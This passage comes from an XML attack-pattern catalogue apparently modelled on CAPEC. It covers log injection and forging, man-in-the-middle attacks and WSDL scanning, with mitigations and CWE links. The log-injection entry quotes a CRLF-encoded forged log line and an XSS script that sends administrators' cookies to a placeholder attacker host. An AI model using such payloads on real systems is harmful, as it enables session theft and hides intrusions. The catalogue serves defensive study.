												observes the system. The attacker looks for action
												and data that are likely to be logged. The attacker
												may be familiar with the log format of the
												system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Determine logging utility being used by
												application (e.g. log4j)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Gain access to application's source code to
												determine log file formats.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Install or obtain access to instance of
												application and observe its log file
												format.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Attacker determines log file
												format used by application.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Inconclusive">
												<Outcome_Description>Attacker cannot conclusively
												determine log file format; he/she can only guess
												what the format is.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Manipulate Log Files</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker alters the log contents either
												directly through manipulation or forging or
												indirectly through injection of specially crafted
												input that the target software will write to the
												logs. This type of attack typically follows another
												attack and is used to try to cover the traces of the
												previous attack.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use carriage return and/or line feed
												characters to start a new line in the log file,
												and then, add a fake entry. For example:
												"%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in"
												may add the following forged entry into a log
												file: "[Thu Nov 12 12:11:22]:Info: User admin
												logged in". Different applications may require
												different encodings of the carriage return and
												line feed characters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Insert a script into the log file such that
												if it is viewed using a web browser, the attacker
												will get a copy of the operator/administrator's
												cookie and will be able to gain access as that
												user. For example, a log file entry could contain
												&lt;script&gt;new
												Image().src="http://xss.attacker.com/log_cookie?cookie="+encodeURI(document.cookie);&lt;/script&gt;.
												The script itself will be invisible to anybody
												viewing the logs in a web browser (unless they
												view the source for the page).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Forged entry or other malicious
												data inserted into application's
												logs.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No entry inserted into logs, or
												the entry is visibly distinguishable from real
												entries.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Input validation to
												ensure that only legal characters supplied by
												users can be entered into log
												files</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Encode information
												from user such that any unexpected characters are
												encoded safely before they are entered into log
												files.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Post-processing of log
												files to remove or encode dangerous characters
												before displaying to a user may help in some
												cases. It will not help remove fake log entries
												entered using carriage return and line feed
												characters,
												however.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target host is logging the action and data of the user.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target host insufficiently protects acces to the logs or loggin
						mechanisms.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP
							Toolkit) 0.50, and possibly earlier versions, allows remote attackers to
							enter false payment entries into the log file via HTTP POST requests to
							ipn_success.php.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-0201</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>If a user submits the string "twenty-one" for val, the following entry
							is logged: INFO: Failed to parse val=twenty-one However, if an attacker
							submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the
							following entry is logged: INFO: Failed to parse val=twenty-one INFO:
							User logged out=badguy Clearly, attackers can use this same mechanism to
							insert arbitrary log entries. (Source: CWE Log forging)</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>This attack can be as simple as adding extra characters to the logged
							data (e.g. unsername). Adding entries is typically easier than removing
							entries.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>A more sophisticated attack can try to defeat the input validation
							mechanism.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker will try to determine which data may be logged in case of
							a success or failure of a predetermined action such as authentication.
							Once that data has been identified, the attacker may try to craft
							malicious data to inject.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Vulnerability testing tool can be used to test the input validation
							mechanism.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Carefully control access to physical log files.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not allow tainted data to be written in the log file without prior
						input validation. Whitelisting may be used to properly validate the
						data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use synchronization to control the flow of execution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use static analysis tools to identify log forging vulnerabilities.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Avoid viewing logs with tools that may interpret control characters in the
						file, such as command-line shells.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The variable being logged</Text>
			</Injection_Vector>
			<Payload>
				<Text>The malicious characters or the crafted data which should forge the log
					entry.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The logging mechanism (This can be as simple as writing to a file, logging
					API, etc.)</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Log tampering or forgery (misleading data)</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>117<!--Improper Output Neutralization for Logs--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>92<!--DEPRECATED: Improper Sanitization of Custom Special Characters--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>150<!--Improper Neutralization of Escape, Meta, or Control Sequences--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>268<!--Audit Log Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Obfuscation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>J. Viega and G. McGraw. Building Secure Software. Addison-Wesley,
							2002.</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Log Forging</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>A. Muffet. The night the log was forged.
							http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm.</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Secure Software - Log Injection :
							http://www.owasp.org/index.php/Log_injection</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Samate test case on Log Forging :
							http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;tID=1579</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-03-25</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="94" Name="Man in the Middle Attack" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This type of attack targets the communication between two components
						(typically client and server). The attacker places himself in the
						communication channel between the two components. Whenever one component
						attempts to communicate with the other (data flow, authentication
						challenges, etc.), the data first goes to the attacker, who has the
						opportunity to observe or alter it, and it is then passed on to the other
						component as if it was never intercepted. This interposition is transparent
						leaving the two compromised components unaware of the potential corruption
						or leakeage of their communications. The potential for Man-in-the-Middle
						attacks yields an implicit lack of trust in communication or identify
						between two components.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker probes to determine the nature and
												mechanism of communication between two components
												looking for opportunities to exploit.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker inserts himself into the
												communication channel initially acting as a routing
												proxy between the two targeted components. The
												attacker may or may not have to use
												cryptography.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker observes, filters or alters passed
												data of its choosing to gain access to sensitive
												information or to manipulate the actions of the two
												target components for his own purposes.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>There are two components communicating with each other.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An attacker is able to identify the nature and mechanism of communication
						between the two target components.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>An attacker can eavesdrop on the communication between the target
						components.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Strong mutual authentication is not used between the two target components
						yielding opportunity for attacker interposition.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The communication occurs in clear (not encrypted) or with insufficient and
						spoofable encryption.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Symantec Scan Engine 5.0.0.24, and possibly other versions before
							5.1.0.7, uses the same private DSA key for each installation, which
							allows remote attackers to conduct man-in-the-middle attacks and decrypt
							communications.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-0231</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>This attack can get sophisticated since the attack may use
							cryptography.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can try to get the public-keys of the victims.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>There are free software tool to perform man in the middle attack
							(packet anlaysis, etc.)</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Get your Public Key signed by a Certificate Authority</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Encrypt your communication using cryptography (SSL,...)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use Strong mutual authentication to always fully authenticate both ends of
						any communications channel.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Exchange public keys using a secure channel</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The captured or modified data in transit</Text>
			</Injection_Vector>
			<Payload>
				<Text>The new value of the data or the replay of the same data (e.g.
					credential)</Text>
			</Payload>
			<Activation_Zone>
				<Text>The messages exchanged between the two target hosts.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Privilege escalation. modification of resource, information leakage,
						etc.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>300<!--Channel Accessible by Non-Endpoint ('Man-in-the-Middle')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>290<!--Authentication Bypass by Spoofing--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>593<!--Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>287<!--Improper Authentication--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>294<!--Authentication Bypass by Capture-replay--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>724<!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>22<!--Exploiting Trust in Client (aka Make the Client Invisible)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>CWE - Man-in-the-middle (MITM)</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>M. Bishop. Computer Security: Art and Science. Addison-Wesley,
							2003.</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-03-25</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="95" Name="WSDL Scanning" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the WSDL interface made available by a web service.
						The attacker may scan the WSDL interface to reveal sensitive information
						about invocation patterns, underlying technology implementations and
						associated vulnerabilities. This type of probing is carried out to perform
						more serious attacks (e.g. parameter tampering, malicious content injection,
						command injection, etc.). WSDL files provide detailed information about the
						services ports and bindings available to consumers. For instance, the
						attacker can submit special characters or malicious content to the Web
						service and can cause a denial of service condition or illegal access to
						database records. In addition, the attacker may try to guess other private
						methods by using the information provided in the WSDL files.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The first step is exploratory meaning the attacker
												scans for WSDL documents. The WDSL document written
												in XML is like a handbook on how to communicate with
												the web services provided by the target host. It
												provides an open view of the application (function
												details, purpose, functional break down, entry
												points, message types, etc.). This is very useful
												information for the attacker.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The second step that a attacker would undertake is
												to analyse the WSDL files and try to find potential
												weaknesses by sending messages matching the pattern
												described in the WSDL file. The attacker could run
												through all of the operations with different message
												request patterns until a breach is
												identified.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Once an attacker finds a potential weakness, they
												can craft malicious content to be sent to the
												system. For instance the attacker may try to submit
												special characters and observe how the system reacts
												to an invalid request. The message sent by the
												attacker may not be XML validated and cause
												unexpected behavior.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A client program connecting to a web service can read the WSDL to
						determine what functions are available on the server.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target host exposes vulnerable functions within its WSDL
						interface.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A WSDL interface may expose a function vulnerable to SQL
							Injection.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The Web Services Description Language (WSDL) allows a web service to
							advertise its capabilities by describing operations and parameters
							needed to access the service. As discussed in step 5 of this series,
							WSDL is often generated automatically, using utilities such as
							Java2WSDL, which takes a class or interface and builds a WSDL file in
							which interface methods are exposed as web services.</Text>
						<Text>Because WSDL generation often is automated, enterprising hackers can
							use WSDL to gain insight into the both public and private services. For
							example, an organization converting legacy application functionality to
							a web services framework may inadvertently pass interfaces not intended
							for public consumption to a WSDL generation tool. The result will be
							SOAP interfaces that give access to private methods.</Text>
						<Text>Another, more subtle WSDL attack occurs when an enterprising attacker
							uses naming conventions to guess the names of unpublished methods that
							may be available on the server. For example, a service that offers a
							stock quote and trading service may publish query methods such as
							requestStockQuote in its WSDL. However, similar unpublished methods may
							be available on the server but not listed in the WSDL, such as
							executeStockQuote. A persistent hacker with time and a library of words
							and phrases can cycle thru common naming conventions (get, set, update,
							modify, and so on) to discover unpublished application programming
							interfaces that open doors into private data and functionality.</Text>
						<Text>Source : "Seven Steps to XML Mastery, Step 7: Ensure XML Security",
							Frank Coyle. See reference section.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>This attack can be as simple as reading WSDL and starting sending
							invalid request.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>This attack can be used to perform more sophisticated attacks (SQL
							injection, etc.)</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>An attacker can request the WSDL file from the target host by sending
							a SOAP message.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>There are free Vulnerability testing tool, such as WSDigger to perform
							WSDL scanning - Foundstone's free Web services security tool performs
							WSDL scanning, SQL injection and XSS attacks on Web Services.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>It is important to protect WSDL file or provide limited access to
						it.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Review the functions exposed by the WSDL interface (specially if you have
						used a tool to generate it). Make sure that none of them is vulnerable to
						injection.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure the WSDL does not expose functions and APIs that were not intended
						to be exposed.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Pay attention to the function naming convention (within the WSDL
						interface). Easy to guess function name may be an entry point for
						attack.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Validate the received messages against the WSDL Schema. Incomplete
						solution.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>538<!--File and Directory Information Exposure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Never Assuming that Your Secrets Are Safe</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Securing the Weakest Link</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
